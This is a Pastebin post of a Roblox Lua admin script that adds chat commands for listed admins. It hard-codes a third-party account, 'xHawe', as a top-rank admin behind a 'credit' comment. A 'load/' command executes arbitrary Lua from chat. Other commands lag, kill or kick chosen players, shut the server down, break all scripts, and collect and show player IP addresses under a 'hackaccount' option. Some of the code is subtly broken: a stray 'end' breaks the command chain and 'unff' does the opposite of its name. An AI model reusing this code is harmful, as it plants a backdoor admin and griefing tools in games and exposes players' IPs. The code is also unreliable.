Advertisement
PASTEBINWARRIOR

Untitled

Aug 8th, 2015
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.82 KB | None | 0 0
  1.  
  2.  
  3.  
  4. msg = Instance.new("Message")
  5. msg.Parent = game.Workspace
  6. msg.Text = "Loading xJaffie's Admin Skulls" --Leave this credit alone
  7. wait(0.5)
  8. msg.Text = "Loading xJaffie's Admin Skulls." --Leave this credit alone
  9. wait(0.5)
  10. msg.Text = "Loading xJaffie's Admin Skulls.." --Leave this credit alone
  11. wait(0.5)
  12. msg.Text = "Loading xJaffie's Admin Skulls..." --Leave this credit alone
  13. wait(0.5)
  14. msg.Text = "xJaffie's Admin Skulls Have Loaded" --Leave this credit alone
  15. wait(2)
  16. msg:Remove()
  17.  
  18. Admins = {
  19. ["lifeepic"] = 3, -- Your name
  20. [""] = 3, -- Friends names
  21. [""] = 3,
  22. ["xHawe"] = 3 --Leave this credit alone
  23. }
  24. local Levels = {
  25. [0] = {"Peasant", BrickColor.new("Really black")};
  26. [1] = {"Knight", BrickColor.new("Black")};
  27. [2] = {"Lord", BrickColor.new("Dark stone grey")};
  28. [3] = {"King", BrickColor.new("Medium stone grey")}
  29. }
  30. Players = Game:GetService("Players")
  31. Workspace = Game:GetService("Workspace")
  32. Debris = Game:GetService("Debris")
  33. Lighting = Game:GetService("Lighting")
  34. Teams = Game:GetService("Teams")
  35. MR = math.rad
  36. MD = math.deg
  37. IPStore = {}
  38. IPBans = {}
  39. Banned = {"Network Server"}
  40. PrivateServer = {}
  41. PrivateServerWarnings = {}
  42. function IncommingConnection(IPAddress, Replicator)
  43. local IP = IPAddress:sub(1, IPAddress:find(":")-1)
  44. local ThePlayer
  45. Players.PlayerAdded:connect(function(NewPlayer)
  46. if not ThePlayer then
  47. ThePlayer = NewPlayer
  48. end
  49. end)
  50. repeat wait() until ThePlayer
  51. IPStore[ThePlayer.Name] = IP
  52. for i=1, #IPBans do
  53. if IPBans[i] == IP then
  54. ThePlayer:Remove()
  55. end
  56. end
  57. end
  58. function Round(Number, ToWhatExtent)
  59. if ToWhatExtent then
  60. return math.floor(Number/ToWhatExtent+0.5)*ToWhatExtent
  61. else
  62. return math.floor(Number + 0.5)
  63. end
  64. end
  65. Settings = {
  66. Color = BrickColor.new("Medium stone grey"), --Its bright red...
  67. Name = "OneLegend Scythe Admin",
  68. Version = "0.0.8"
  69. }
  70. function ShowInCircle(Prompter,...)
  71. local Args = {...}
  72. local Books = {}
  73. Args[#Args + 1] = "Dismiss"
  74. local Ans = nil
  75. local Rank = Admins[Prompter.Name]
  76. for i=1, #Args do
  77. local IsKings
  78. if Args[i]:find("(Kings Only)") then
  79. IsKings = true
  80. end
  81. local Book = Instance.new("Part", Game:GetService("Workspace"))
  82. Book.Anchored = false
  83. Book.Locked = true
  84. Book.CanCollide = false
  85. Book.TopSurface, Book.BottomSurface = 0, 0
  86. Book.Transparency = 0
  87. Book.Reflectance = 0
  88. Book.FormFactor = Enum.FormFactor.Custom
  89. Book.Size = Vector3.new(2.3, 1, 3)
  90. if IsKings and Admins[Prompter.Name] < 3 then
  91. Book.BrickColor = BrickColor.new("Bright red")
  92. else
  93. Book.BrickColor = Settings.Color
  94. end
  95. table.insert(Books, Book)
  96. local Mesh = Instance.new("SpecialMesh", Book)
  97. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  98. Mesh.MeshType = "FileMesh"
  99. local BG = Instance.new("BodyGyro", Book)
  100. local BP = Instance.new("BodyPosition", Book)
  101. if (IsKings and Admins[Prompter.Name] == 3) or not IsKings then
  102. local Fire = Instance.new("Fire", Book)
  103. Fire.Heat = 0
  104. Fire.Color = Settings.Color.Color
  105. Fire.SecondaryColor = Settings.Color.Color
  106. end
  107. local Billboard = Instance.new("BillboardGui", Book)
  108. Billboard.Adornee = Book
  109. Billboard.Enabled = true
  110. Billboard.Active = true
  111. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  112. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  113. local Text = Instance.new("TextLabel", Billboard)
  114. Text.Text = Args[i]
  115. if IsKings and Admins[Prompter.Name] ~= 3 then
  116. Text.TextColor3 = BrickColor.new("White").Color
  117. else
  118. Text.TextColor3 = Settings.Color.Color
  119. end
  120. Text.BackgroundTransparency = 1
  121. Text.Size = UDim2.new(1, 0, 1, 0)
  122. local ClickDetector = Instance.new("ClickDetector", Book)
  123. ClickDetector.MouseClick:connect(function(Player)
  124. if Player == Prompter and Args[i] == "Dismiss" then
  125. Ans = Args[i]
  126. for _, v in pairs(Books) do
  127. v:Remove()
  128. end
  129. Books = {}
  130. end
  131. end)
  132. end
  133. coroutine.resume(coroutine.create(function()
  134. local radius = 3 + (#Books*.7)
  135. while wait() do
  136. if #Books == 0 then break end
  137. for _, Book in pairs(Books) do
  138. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  139. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  140. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  141. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  142. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  143. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- cos
  144. local y = 0
  145. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- sin
  146. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  147. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  148. end
  149. end
  150. end))
  151. end
  152. function Prompt(Prompter, ...)
  153. local Args = {...}
  154. local Books = {} --Dismiss sounds cooler :3
  155. Args[#Args + 1] = "Dismiss"
  156. local Ans = nil
  157. for i=1, #Args do
  158. local Book = Instance.new("Part", Game:GetService("Workspace"))
  159. Book.Anchored = false
  160. Book.Locked = true
  161. Book.CanCollide = false
  162. Book.TopSurface, Book.BottomSurface = 0, 0
  163. Book.Transparency = 0
  164. Book.FormFactor = Enum.FormFactor.Custom
  165. Book.Size = Vector3.new(2.3, 1, 3)
  166. Book.BrickColor = Settings.Color
  167. table.insert(Books, Book)
  168. local Mesh = Instance.new("SpecialMesh", Book)
  169. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  170. Mesh.MeshType = "FileMesh"
  171. local Fire = Instance.new("Fire", Book)
  172. Fire.Heat = 0
  173. Fire.Color = Settings.Color.Color
  174. Fire.SecondaryColor = Settings.Color.Color
  175. local Billboard = Instance.new("BillboardGui", Book)
  176. Billboard.Adornee = Book
  177. Billboard.Enabled = true
  178. Billboard.Active = true
  179. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  180. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  181. local Text = Instance.new("TextLabel", Billboard)
  182. Text.Text = Args[i]
  183. Text.TextColor3 = Settings.Color.Color
  184. Text.BackgroundTransparency = 1
  185. Text.Size = UDim2.new(1, 0, 1, 0)
  186. local AttemptToFixPrompt = i
  187. local ClickDetector = Instance.new("ClickDetector", Book)
  188. ClickDetector.MouseClick:connect(function(Player)
  189. if Player == Prompter then
  190. Ans = Args[i]
  191. local BackupBooks = Books
  192. Books = {}
  193. local AnimationOver
  194. pcall(function() BP.Position = Player.Character.Torso.Position end)
  195. Book.Touched:connect(function(zPart)
  196. pcall(function()
  197. if zPart == Player.Character.Torso then
  198. AnimationOver = true
  199. end
  200. end)
  201. end)
  202. delay(5, function() AnimationOver = true end)
  203. for _, v in pairs(BackupBooks) do
  204. v:Remove()
  205. end
  206. BackupBooks = nil
  207. return AttemptToFixPrompt
  208. end
  209. end)
  210. end
  211. coroutine.resume(coroutine.create(function()
  212. local radius = 3 + (#Books)
  213. while wait() do
  214. if #Books == 0 then break end
  215. for _, Book in pairs(Books) do
  216. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  217. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  218. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  219. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  220. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  221. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- cos
  222. local y = 0
  223. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- sin
  224. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  225. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  226. end
  227. end
  228. end))
  229. while (Ans == nil) and (#Books > 0) do
  230. wait()
  231. end
  232. return Ans
  233. end
  234. function ParseMessage(Message)
  235. Message = Message:gsub("lego%s", "")
  236. Message = Message:gsub("runescape%s", "")
  237. Message = Message:gsub("minecraft%s", "")
  238. local Command
  239. local Args = {}
  240. for Word in Message:gmatch("%w+") do
  241. if not Command then
  242. Command = Word
  243. else
  244. table.insert(Args, Word)
  245. end
  246. end
  247. return Command, Args
  248. end
  249. function ErrorHandler(Error)
  250. print(Error)
  251. local Message = Instance.new("Message", Workspace)
  252. Message.Text = "!ERROR!: " .. Error:gsub("(.-:)","")
  253. Game:GetService("Debris"):AddItem(Message, 5)
  254. end
  255. function onPlayerAdded(NewPlayer)
  256. for b=1, #Banned do
  257. if NewPlayer.Name == Banned[b] then
  258. coroutine.resume(coroutine.create(function()
  259. for i=1, 25 do
  260. pcall(function() NewPlayer:Destroy() end)
  261. wait(0.5)
  262. end
  263. end))
  264. end
  265. end
  266. NewPlayer.Chatted:connect(function(C)
  267. xpcall(function()
  268. local a, b = coroutine.resume(coroutine.create(function()
  269. onChat(NewPlayer, C)
  270. end))
  271. assert(a,b)
  272. end, ErrorHandler)
  273. end)
  274. end
  275. function onChat(player, message)
  276. local Command, Arguments = ParseMessage(message)
  277. if Admins[player.Name] ~= nil then
  278. if Command == "kickmenu" then
  279. local People = Game:GetService("Players"):GetPlayers()
  280. local Names = {}
  281. for _, v in pairs(People) do
  282. table.insert(Names, v.Name)
  283. end
  284. local OptionChoosen = Prompt(player, unpack(Names))
  285. print(OptionChoosen)
  286. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  287. game:GetService("Players") [OptionChoosen]:Destroy()
  288. else
  289. print("Player missing")
  290. end
  291. elseif Command == "privateserver" then
  292. local Option = Prompt(player, "Turn on", "Turn off", "Add name", "Remove name", "Remove all names")
  293. if Option == "Turn on" then
  294. PrivateServerOn = true
  295. local OnJoinCon = function(NewPlayer)
  296. if PrivateServer[NewPlayer.Name] == nil then
  297. NewPlayer:Remove()
  298. if PrivateServerWarnings[NewPlayer.Name] == nil then
  299. local AddHim = Prompt(player, "Click me to add " .. NewPlayer.Name .. " to the private server list")
  300. if AddHim == "Click me to add " .. NewPlayer.Name .. " to the private server list" then
  301. PrivateServer[NewPlayer.Name] = true
  302. end
  303. end
  304. end
  305. end
  306. while PrivateServerOn do wait() end
  307. OnJoinCon:disconnect()
  308. elseif Option == "Turn off" then
  309. PrivateServerOn = nil
  310. elseif Option == "Add name" then
  311. local Names = {}
  312. for _, v in pairs(Players:GetPlayers()) do
  313. table.insert(Names, v.Name)
  314. end
  315. local PlayerToAdd = Prompt(player, unpack(Names))
  316. if Players:FindFirstChild(PlayerToAdd) then
  317. PrivateServer[PlayerToAdd] = true
  318. end
  319. elseif Option == "Remove name" then
  320. local Names = {}
  321. for Name in pairs(PrivateServer) do
  322. table.insert(Names, Name)
  323. end
  324. local NameToRemove = Prompt(player, unpack(Names))
  325. if Names[NameToRemove] then
  326. Names[NameToRemove] = nil
  327. end
  328. elseif Option == "Remove all names" then
  329. PrivateServer = {}
  330. end
  331. elseif Command == "banmenu" then
  332. local People = Game:GetService("Players"):GetPlayers()
  333. local Names = {}
  334. for _, v in pairs(People) do
  335. table.insert(Names, v.Name)
  336. end
  337. local OptionChoosen = Prompt(player, unpack(Names))
  338. print(OptionChoosen)
  339. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  340. table.insert(Banned, OptionChoosen)
  341. game:GetService("Players") [OptionChoosen]:Destroy()
  342. else
  343. print("Player missing")
  344. end
  345. elseif Command == "rankset" and Admins[player.Name] == 3 then
  346. if Arguments[1] and tonumber(Arguments[1]) ~= nil then
  347. local RankSet
  348. if tonumber(Arguments[1]) == 0 then
  349. RankSet = nil
  350. else
  351. RankSet = tonumber(Arguments[1])
  352. end
  353. for i=2, #Arguments do
  354. local arg = Arguments[i]
  355. for z, vPlayer in pairs(Players:GetPlayers()) do
  356. if vPlayer.Name:lower():find(arg:lower()) == 1 then
  357. Admins[vPlayer.Name] = RankSet
  358. end
  359. end
  360. end
  361. end
  362. elseif message:sub(1, 5) == "load/" then
  363. xpcall(function()
  364. local c, d = coroutine.resume(coroutine.create(function()
  365. loadstring(message:sub(6))()
  366. end))
  367. assert(c, d)
  368. end, function(Error)
  369. local Hint = Instance.new("Message", Workspace)
  370. Hint.Text = "|QUICKSCRIPT ERROR|:| " .. Error:sub("(.-:)")
  371. wait(4)
  372. Hint:Remove()
  373. end)
  374. elseif Command == "cleanup" then
  375. for _, v in pairs(Workspace:GetChildren()) do
  376. if Players:GetPlayerFromCharacter(v) == nil and v.className ~= "Terrain" and v~=script then
  377. pcall(function() v:Remove() end)
  378. end
  379. end
  380. local Base = Instance.new("Part", Workspace)
  381. Base.Anchored = true
  382. Base.TopSurface = Enum.SurfaceType.Smooth
  383. Base.BottomSurface = Enum.SurfaceType.Smooth
  384. Base.FormFactor = Enum.FormFactor.Symmetric
  385. Base.BrickColor = BrickColor.new("Earth green")
  386. Base.Size = Vector3.new(1000, 1, 1000)
  387. Base.Name = "Base"
  388. Base.CFrame = CFrame.new(Vector3.new())
  389. local Option = Prompt(player, "Click me if you would like to clean everything...")
  390. if Option == "Click me if you would like to clean everything..." then
  391. pcall(function() Lighting:ClearAllChildren() end)
  392. pcall(function() Teams:ClearAllChildren() end)
  393. pcall(function() table.foreach(Players:GetPlayers(), function(_, v) v.Neutral = true end) end)
  394. end
  395. local Option = Prompt(player, "Click me if you would like to respawn players...")
  396. if Option == "Click me if you would like to respawn players..." then
  397. for _, v in pairs(Players:GetPlayers()) do
  398. pcall(function()
  399. local Model = Instance.new("Model", Workspace)
  400. Instance.new("Humanoid", Model)
  401. v.Character = Model
  402. end)
  403. end
  404. end
  405. elseif Command == "hide" then
  406. if Arguments[1] == "ranks" then
  407. NotInViewRanks = true
  408. Lighting.TimeOfDay = "14:00:00"
  409. Lighting.Ambient = BrickColor.new("Medium stone grey").Color
  410. while Workspace:FindFirstChild("RankStatus", true) do
  411. Workspace:FindFirstChild("RankStatus", true):Destroy()
  412. end
  413. end
  414. elseif Command == "shutdown" then
  415. local InitTime = time()
  416. while wait() do
  417. pcall(function()
  418. Players:ClearAllChildren()
  419. end)
  420. pcall(function()
  421. if #Players:GetPlayers() >= 1 or InitTime + 30 < time() then
  422. Instance.new("ManualSurfaceJointInstance", Workspace)
  423. end
  424. end)
  425. end
  426. elseif Command == "view" or Command == "show" then
  427. if Arguments[1] == "ranks" then
  428. NotInViewRanks = nil
  429. Lighting.TimeOfDay = "2:00:00"
  430. Lighting.Ambient = BrickColor.new("Black").Color
  431. local AutoColorConnection = Workspace.ChildAdded:connect(function(v)
  432. local Player = Players:GetPlayerFromCharacter(v)
  433. if Player and Admins[Player.Name] then
  434. local Rank = Admins[Player.Name]
  435. coroutine.resume(coroutine.create(function()
  436. local Head = v:FindFirstChild("Head")
  437. local Status = Instance.new("Part", v)
  438. Status.FormFactor = "Symmetric"
  439. Status.Shape = "Ball"
  440. Status.Name = "Status"
  441. Status.TopSurface = 0
  442. Status.BottomSurface = 0
  443. Status.BrickColor = Levels[Rank][2]
  444. Status.CanCollide = false
  445. Status.Name = "RankStatus"
  446. Status.Transparency = 0.5
  447. local Billboard = Instance.new("BillboardGui", Status)
  448. Billboard.Adornee = Status
  449. Billboard.Enabled = true
  450. Billboard.Active = true
  451. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  452. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  453. local Text = Instance.new("TextLabel", Billboard)
  454. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  455. Text.TextColor3 = Levels[Rank][2].Color
  456. Text.BackgroundTransparency = 1
  457. Text.Size = UDim2.new(1, 0, 1, 0)
  458. local Body = Instance.new("BodyPosition", Status)
  459. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  460. local Fire = Instance.new("Fire", Status)
  461. Fire.Color = Levels[Rank][2].Color
  462. Fire.SecondaryColor = Levels[Rank][2].Color
  463. local function gS(i)
  464. return math.sin(math.rad(i))
  465. end
  466. local function gC(i)
  467. return math.cos(math.rad(i))
  468. end
  469. for _, v in pairs(v:GetChildren()) do
  470. if v:IsA("Part") and v.Name ~= "RankStatus" then
  471. local Sel = Instance.new("SelectionBox", Status)
  472. Sel.Adornee = v
  473. Sel.Color = Levels[Rank][2]
  474. local Fir = Instance.new("Fire", Status)
  475. Fir.Color = Levels[Rank][2].Color
  476. Fir.SecondaryColor = Levels[Rank][2].Color
  477. end
  478. end
  479. while wait() and Head and Head.Parent do
  480. for i = 0, 360, 2 do
  481. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  482. wait()
  483. end
  484. end
  485. end))
  486. end
  487. end)
  488. for _, v in pairs(Workspace:GetChildren()) do
  489. local Player = Players:GetPlayerFromCharacter(v)
  490. if Player and Admins[Player.Name] then
  491. local Rank = Admins[Player.Name]
  492. coroutine.resume(coroutine.create(function()
  493. local Head = v:FindFirstChild("Head")
  494. local Status = Instance.new("Part", v)
  495. Status.FormFactor = "Symmetric"
  496. Status.Shape = "Ball"
  497. Status.Name = "Status"
  498. Status.TopSurface = 0
  499. Status.BottomSurface = 0
  500. Status.BrickColor = Levels[Rank][2]
  501. Status.CanCollide = false
  502. Status.Name = "RankStatus"
  503. Status.Transparency = 0.5
  504. local Billboard = Instance.new("BillboardGui", Status)
  505. Billboard.Adornee = Status
  506. Billboard.Enabled = true
  507. Billboard.Active = true
  508. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  509. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  510. local Text = Instance.new("TextLabel", Billboard)
  511. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  512. Text.TextColor3 = Levels[Rank][2].Color
  513. Text.BackgroundTransparency = 1
  514. Text.Size = UDim2.new(1, 0, 1, 0)
  515. local Body = Instance.new("BodyPosition", Status)
  516. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  517. local Fire = Instance.new("Fire", Status)
  518. Fire.Color = Levels[Rank][2].Color
  519. Fire.SecondaryColor = Levels[Rank][2].Color
  520. local function gS(i)
  521. return math.sin(math.rad(i))
  522. end
  523. local function gC(i)
  524. return math.cos(math.rad(i))
  525. end
  526. for _, v in pairs(v:GetChildren()) do
  527. if v:IsA("Part") and v.Name ~= "RankStatus" then
  528. local Sel = Instance.new("SelectionBox", Status)
  529. Sel.Adornee = v
  530. Sel.Color = Levels[Rank][2]
  531. local Fir = Instance.new("Fire", Status)
  532. Fir.Color = Levels[Rank][2].Color
  533. Fir.SecondaryColor = Levels[Rank][2].Color
  534. end
  535. end
  536. while wait() and Head and Head.Parent do
  537. for i = 0, 360, 2 do
  538. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  539. wait()
  540. end
  541. end
  542. end))
  543. end
  544. end
  545. repeat wait() until NotInViewRanks
  546. AutoColorConnection:disconnect()
  547. elseif Arguments[1] == "time" or Arguments[1] == "clock" then
  548. local SecondsOfToday = math.fmod(tick(), 60*60*24) -- Long story check in wiki...
  549. local Hour = math.floor(SecondsOfToday / (60*60))
  550. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  551. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  552. if Hour > 12 then Hour = Hour - 12 end
  553. ShowInCircle(player, "Current time: " .. Hour .. ":" .. Minute .. ":" .. Second, "Server Time: " .. math.floor(time()))
  554. end
  555. elseif Command == "kick" then
  556. for _, Arg in pairs(Arguments) do
  557. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  558. if Player.Name:lower():match(Arg:lower()) then
  559. pcall(function() Player:Destroy() end)
  560. end
  561. end
  562. end
  563. elseif Command == "skulls" then
  564. ShowInCircle(player,
  565. "kill", "kick", "ban", "fire", "day", "night", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave"
  566. )
  567. elseif Command == "skulls2" then
  568. ShowInCircle(player,
  569. "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  570. )
  571. elseif Command == "skullsALL" then
  572. ShowInCircle(player,
  573. "kill", "kick", "ban", "fire", "day", "night", "override", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave", "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  574. )
  575. elseif Command == "antiban" then
  576. local PeopleNames = {}
  577. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  578. table.insert(PeopleNames, v.Name)
  579. end
  580. local Option = Prompt(player, unpack(PeopleNames))
  581. if Option then
  582. Game:GetService("Players").PlayerRemoving:connect(function(Player)
  583. if Player.Name == Option then
  584. while wait() do
  585. pcall(function() Players:ClearAllChildren() end)
  586. end
  587. end
  588. end)
  589. end
  590. elseif Command == "ip" and Admins[player.Name] == 3 then
  591. local Option = Prompt(player, "Add banishment", "View ip's", "Remove ip ban")
  592. if Option == "Add banishment" then
  593. local Names = {}
  594. local IPs = IPStore
  595. for Name, IP in pairs(IPs) do
  596. table.insert(Names, Name)
  597. end
  598. local BanPlayer = Prompt(player, unpack(Names))
  599. if IPs[BanPlayer] ~= nil then
  600. table.insert(IPBans, IPs[BanPlayer])
  601. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  602. if v.Name == BanPlayer then
  603. v:Remove()
  604. end
  605. end
  606. end
  607. elseif Option == "View ip's" then
  608. local Names = {}
  609. local IPs = IPStore
  610. for Name, IP in pairs(IPs) do
  611. table.insert(Names, Name)
  612. end
  613. local Option = Prompt(player, unpack(Names))
  614. if IPStore[Option] ~= nil then
  615. Prompt(player, IPStore[Option])
  616. end
  617. end
  618. elseif Command == "lag" then
  619. for _, Args in pairs(Arguments) do
  620. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  621. if Player.Name:lower():find(Args:lower()) == 1 then
  622. while wait() do
  623. for i=1, 10 do
  624. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  625. end
  626. end
  627. end
  628. end
  629. end
  630. elseif Command == "hackaccount" and Admins[player.Name] == 3 then
  631. local Option = Prompt(player, "Add Ban[ROBLOX]", "Hack Accounts", "Remove Hacked")
  632. if Option == "Add Ban[ROBLOX]" then
  633. local Names = {}
  634. local IPs = IPStore
  635. for Name, IP in pairs(IPs) do
  636. table.insert(Names, Name)
  637. end
  638. local BanPlayer = Prompt(player, unpack(Names))
  639. if IPs[BanPlayer] ~= nil then
  640. table.insert(IPBans, IPs[BanPlayer])
  641. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  642. if v.Name == BanPlayer then
  643. v:Remove()
  644. end
  645. end
  646. end
  647. elseif Option == "Hack Accounts" then
  648. local Names = {}
  649. local IPs = IPStore
  650. for Name, IP in pairs(IPs) do
  651. table.insert(Names, Name)
  652. end
  653. local Option = Prompt(player, unpack(Names))
  654. if IPStore[Option] ~= nil then
  655. Prompt(player, IPStore[Option])
  656. end
  657. end
  658. elseif Command == "lag" then
  659. for _, Args in pairs(Arguments) do
  660. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  661. if Player.Name:lower():find(Args:lower()) == 1 then
  662. while wait() do
  663. for i=1, 10 do
  664. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  665. end
  666. end
  667. end
  668. end
  669. end
  670. elseif Command == "breakscripts" and Admins[player.Name] == 3 then
  671. Game:GetService("ScriptContext").ScriptsDisabled = true
  672. Services = {
  673. "Workspace",
  674. "Debris",
  675. "Players",
  676. "Lighting",
  677. "ScriptContext"
  678. }
  679. for i=1, #Services do
  680. pcall(function() game:GetService(Services[i]).Name = math.random(1000, 10000) end)
  681. end
  682. --Idk if this works, just hope :3
  683. local mt = {__index = function() return function() end end}
  684. setmetatable(_G, mt)
  685. elseif Command == "hackmenu" then
  686. local People = Game:GetService("Players"):GetPlayers()
  687. local Names = {}
  688. for _, v in pairs(People) do
  689. table.insert(Names, v.Name)
  690. end
  691. local OptionChoosen = Prompt(player, unpack(Names))
  692. print(OptionChoosen)
  693. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  694. if game:GetService("Players")[OptionChoosen].Character then
  695. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  696. end
  697. else
  698. print("Player missing")
  699. end
  700. elseif Command == "killmenu" then
  701. local People = Game:GetService("Players"):GetPlayers()
  702. local Names = {}
  703. for _, v in pairs(People) do
  704. table.insert(Names, v.Name)
  705. end
  706. local OptionChoosen = Prompt(player, unpack(Names))
  707. print(OptionChoosen)
  708. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  709. if game:GetService("Players")[OptionChoosen].Character then
  710. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  711. end
  712. else
  713. print("Player missing")
  714. end
  715. elseif Command == "kill" then
  716. for _, Arg in pairs(Arguments) do
  717. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  718. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  719. Player.Character:BreakJoints()
  720. end
  721. end
  722. end
  723. elseif Command == "obc" then
  724. for _, Arg in pairs(Arguments) do
  725. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  726. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  727. Player.MembershipTypeReplicate = 3
  728. end
  729. end
  730. end
  731. elseif Command == "tbc" then
  732. for _, Arg in pairs(Arguments) do
  733. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  734. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  735. Player.MembershipTypeReplicate = 2
  736. end
  737. end
  738. end
  739. elseif Command == "bc" then
  740. for _, Arg in pairs(Arguments) do
  741. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  742. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  743. Player.MembershipTypeReplicate = 1
  744. end
  745. end
  746. end
  747. elseif Command == "ff" then
  748. for _, Arg in pairs(Arguments) do
  749. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  750. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  751. ff = Instance.new ("ForceField")
  752. ff.Parent = Player.Character
  753. end
  754. end
  755. end
  756. elseif Command == "unff" then
  757. for _, Arg in pairs(Arguments) do
  758. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  759. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  760. ff = Instance.new ("ForceField")
  761. ff.Parent = Player.Character
  762. end
  763. end
  764. end
  765. end
  766. elseif Command == "nbc" then
  767. for _, Arg in pairs(Arguments) do
  768. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  769. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  770. Player.MembershipTypeReplicate = 0
  771. end
  772. end
  773. end
  774. end
  775. end
  776. game:GetService("Players").PlayerAdded:connect(onPlayerAdded)
  777. --[ SB Mode ]--
  778. for _, player in pairs(game:GetService("Players"):GetPlayers()) do
  779. onPlayerAdded(player)
  780. end
  781. Game:GetService("RunService").Stepped:connect(function()
  782. local S, E = pcall(function()
  783. if LastClean == nil or time() - LastClean >= 10 then do
  784. collectgarbage("collect")
  785. LastClean = time()
  786. end
  787. end
  788. if not S then
  789. ErrorHandler(E)
  790. end
  791. end)
  792. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement